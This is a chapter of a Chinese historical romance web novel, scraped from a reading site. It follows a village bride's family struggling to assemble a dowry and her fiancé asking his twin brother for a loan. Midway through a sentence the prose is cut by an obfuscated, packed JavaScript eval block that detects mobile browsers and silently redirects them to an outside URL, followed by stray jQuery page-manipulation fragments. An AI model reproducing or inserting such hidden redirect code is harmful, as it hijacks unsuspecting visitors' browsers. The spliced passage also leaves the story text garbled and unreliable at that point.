默认冷灰
24号文字
方正启体

9. 斗百花(九)

作者:浅浅浅可本书字数:K更新时间:
    是想帮她么?


    温酿眼睫微颤,莫不是陷阱罢?此人连五文钱都要斤斤计较,会这般好心?


    孙臻却已迎上来,脸上带着几分惊喜,伸手就要来够钱袋,“这钱,怕是星寻特意留下借给咱们的罢?”


    “他的钱不能用。”


    温酿侧身避开,将袋口重新系紧。她连叶星忱的都不能收,免得落人口舌,更何况用小叔子的?若是被未来婆母知晓,还不知要怎么大做文章。


    “待日后见到他时,我还给他。”温酿说着,把钱袋往袖中一塞。


    孙臻脸上的喜色垮了下来,她站在敞着盖的箱笼旁,看看里头那些晃眼的赤金头面、杭绸苏缎,又看看炕头那点寒酸的积蓄,心里头堵得慌。


    她忍不住抱怨,“这也用不得,那也用不得,你嫁个高门,去做富家奶奶了,苦的都是你爹娘。”


    这话说得好没道理,当初催着结亲的是她,眼下嫌嫁妆拿不出手的也是她。


    “隔壁村的二丫也嫁去城里了,人家婆家提前送来了嫁妆,那才叫体面呢。哪像咱们,聘礼堆了满地,反倒发愁拿什么陪嫁。”


    原来是存了这样的心思,温酿心里自来透亮,也不由冷了几分,说到底,娘不过是想做不赔本的买卖,面上是为她操心,心里算的却是另一本账,女儿沾光可以,家里跟着风光更好,但要自家掏大钱,那是万万不能的。


    幸好没把叶星忱要帮忙的事说出来,不然只怕娘亲更要生出指望了。


    若是阿弟娶妻呢?他们定是砸锅卖铁也要凑个体面罢?


    温酿抬眼望着烛火,她其实早就盘算好了,若是他们真为了她的嫁妆去借钱,她日后定会双倍奉还。


    她不过是想看看,爹娘到底肯为她尽几分心。


    “我有主意。”一旁的温季开了口。


    不多时,只见他从灶房抱来一个肚大口小的陶土罐子,费力搁在了桌上,往温酿面前一推,“阿酿,给你。”


    温酿诧异接过,入手颇沉,晃了晃,罐身发出闷闷的声响,听着还不少咧,也不知存了多久。


    她伸手揉了揉温季的脑袋,有几分动容,“傻,阿姐怎会用你的钱?”


    “不用白不用。”


    温酿尚未品出他这话中意,就听见门外脚步声,原来是温青槐从屋外进来。


    他一进堂屋,目光触及桌上那眼熟的陶罐,脸色倏然变了。


    他一个箭步冲过来,伸手就要把罐子抱走,“哎哟!我的祖宗,谁把这宝贝疙瘩给拿出来了?”


    原来是爹爹的私房钱。


    孙臻眼疾手快,一把拧住了他的耳朵,“好你个温青槐,我说怎么每回进城送花回来,交上的钱总对不上数,原来都藏在这罐子里了?攒了这么多私房,是想做什么?养人啊?”


    “哎呦呦……轻点轻点,当着孩子的面,说的什么胡话,”温青槐痛咧咧,“我不过是偶尔馋了,打二两的浊酒解解乏,绝无二心。”


    温季在旁看热闹不嫌事大,添油加醋,“阿娘,不止这个,我上回瞧见爹爹还抱了个差不多样子的罐子进了花房。”


    温青槐扭头瞪了眼温季,换来孙臻更用力的拧转,“好哇,在我眼皮底下还搞这种把戏,走,给我带路,老实交代干净。”


    她拧着丈夫的耳朵,一路把人提溜出了堂屋。


    “娘子轻点轻点,那个陶罐本就存着给阿酿添妆用的……”


    训斥声和求饶声渐渐模糊远去。


    温季这才贼兮兮地凑到姐姐身边,变戏法似的从自己枕头底下摸出个扁扁的小木盒。


    他打开木盒,剥开里面的几层旧布,又露出一个小纸盒,用过年剩下的喜庆彩纸糊着。


    温季小心翼翼地打开纸盒,露出好些铜钱,可见娘私下给了他不少零钱。


    “阿姐,这才是我的。”他将小盒子郑重放到温酿手里,认认真真道,“都给你,希望阿姐顺利能嫁去叶家,腰杆挺得直直的,不被他们家看扁了去。”


    温酿心里酸涩,就是这个分去爹娘大半疼爱的弟弟,她曾暗地里恨过怨过,夜里翻来覆去想过千百回“若是没有他就好了”,可每当他在跟前,用那双黑亮的眼睛望她时,她又忍不住想疼他。


    温酿弯下身,捏捏他软圆脸蛋,“就你这点小钱,你阿姐我怕是早被他们踩扁了。”


    她推回去,“自个儿好好收着吧。”


    家人是世上最矛盾的,爹娘把心偏到哪里,你心里清清楚楚,可偏偏在这种时候,冷不丁冒出的一点暖,不轻不重地往你心窝子里扎一下,让你既不能指着鼻子骂他们不公,也不能真狠下心来不认他们。


    就受着罢。


    眼下,温家即便靠家中这些零碎积蓄和父亲那点被搜刮出来的私房,置办出的嫁妆,在叶家那几箱重礼面前,依然显得单薄。


    正一筹莫展之际,恰巧温酿的舅舅家托人捎来口信,说是表兄不日将行及冠之礼,特邀温家阖府前往邻县吃酒观礼。


    孙臻那位兄长,在邻县经营着一家颇有名气的小酒楼,家道比自家宽裕不少。


    她抱怨归抱怨,但收到口信的当下,仍心中暗暗掂量,终究是一母同胞的兄长,总比外人多几分情面,届时借着道喜的热闹,私下开口商借些许银钱周转,总归是说得过去的。


    这厢温家在为嫁妆筹划,那头叶星忱也在暗暗打算。


    这日下值后,他没急着回府,而是打马去了城东柳条巷,叶星寻的那处别院。


    日头西斜,巷口两株老柳树枝叶蓊郁,他叩开门,被小厮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341067|199326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    引到前堂,说是二郎正在会客,请他稍候。


    叶星忱便在前堂坐着。


    后院隐隐传来丝竹之声,夹杂着女子娇软笑语,若有若无地飘过来,他端起茶盏,垂眸啜了一口,不去细听。


    抬眼打量这堂中陈设,紫檀桌椅,汝窑青瓷,墙上挂着前朝名家的山水,寒江独钓,角落里还摆着一架七弦琴,处处透着雅致,都是银子堆出来的。


    叶星忱静静等着,他虽不知二弟这几年究竟在做什么营生,但总归,是不差钱的。


    约莫过了半个时辰,叶星寻换了身衣裳,懒懒散散地晃进前堂。


    他似是刚沐浴过,发梢还有些潮,披着一件月白锦袍,衬得那张脸愈发唇红齿白。


    外头常有人问,你们兄弟俩长着一样的脸,小时候可曾被认错过?


    叶星忱从未答过这话。心里却清楚得很,怎么会被认错?叶星寻打从会走路起,便是这副玩世不恭的模样,没一刻消停。


    “大哥稀客啊,”叶星寻挑了挑眉,在叶星忱对面坐下,翘起二郎腿,“不会是来借钱的吧?”


    倒不想还没开口就被他猜中了心思。


    叶星忱也不扭捏,放下茶盏,目光直直看过去,“我想向二弟借一百两。”


    “给嫂嫂置办嫁妆?”


    “嗯。”


    “大哥倒是大方。”叶星寻眸色闪过几分玩味,真真小气鬼!他给嫂嫂至少还留了两百银票呢,看来是比不得他。


    叶星寻慢悠悠地吹了吹茶沫,“大哥就不怕我的钱来路不明?”


    “事有缓急。”叶星忱抬眸,“来路不明也认了。”


    这话摆明了不信他是在做正经营生的。


    叶星寻低笑出声,听不出是恼是嘲,“看来大哥为了娶那个农女,还真是能屈能伸。”


    叶星忱没接话,只看着他,“借不借?”


    “当然借。”叶星寻将茶盏搁下,把二郎腿换了个边,身子歪着,一只手支着下巴,懒洋洋道,“不过大哥打算何时还?这笔钱你不想让母亲知晓,可你的俸禄每月都要入官中,自己只能领月例。这得还到什么时候?”


    叶星忱沉默了一瞬。


    “等你嫂嫂过了府,”他说,“我的俸禄就不入官中了。”


    “这么说,大哥是打算日后和嫂嫂一起偿还这笔嫁妆钱?”


    叶星寻像是听到了什么有趣的话,“也不知嫂嫂嫁进来后,才知道自己莫名其妙背了这么大一笔债,还乐不乐意。”


    叶星忱唇线紧抿。


    “人家嫁汉嫁汉,穿衣吃饭,图的是个依靠。大哥倒好,人还没进门,先让人家背上债了。”


    叶星寻笑得意味深长,“要我说,干脆我娶了嫂嫂得了,大哥也不用为这笔钱发愁了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)